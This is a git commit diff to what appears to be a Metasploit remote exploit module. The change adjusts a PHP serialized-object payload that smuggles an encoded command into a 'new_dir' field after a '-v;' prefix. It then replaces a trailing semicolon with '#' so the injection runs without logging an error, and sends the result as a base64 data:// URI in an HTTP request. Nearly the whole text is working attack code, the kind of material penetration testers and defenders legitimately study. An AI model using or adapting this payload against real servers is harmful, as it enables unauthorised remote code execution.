Using # instead of ;. Semicolon is causing msg in error.log.

bug/bundler_fix
Mehmet Ince 2016-08-12 23:35:29 +03:00
parent ba79579202
commit d38e9f8ceb
No known key found for this signature in database
GPG Key ID: 11EF24A306357530
1 changed files with 2 additions and 2 deletions

View File

@ -80,10 +80,10 @@ class MetasploitModule < Msf::Exploit::Remote
p << 's:10:"extensions";a:1:{s:3:"php";s:3:"php";}'
p << 's:5:"items";a:1:{i:0;a:3:{s:7:"old_dir";s:12:"../../images";'
p << 's:7:"new_dir";s:'
p << (payload.encoded.length + 4).to_s
p << (payload.encoded.length + 5).to_s
p << ':"-v;'
p << payload.encoded
p << ';";s:4:"name";s:4:"test";}}}'
p << ' #";s:4:"name";s:4:"test";}}}'
payload = "data://text/plain;base64,#{Rex::Text.encode_base64(p)}"
send_request_cgi(
'method' => 'GET',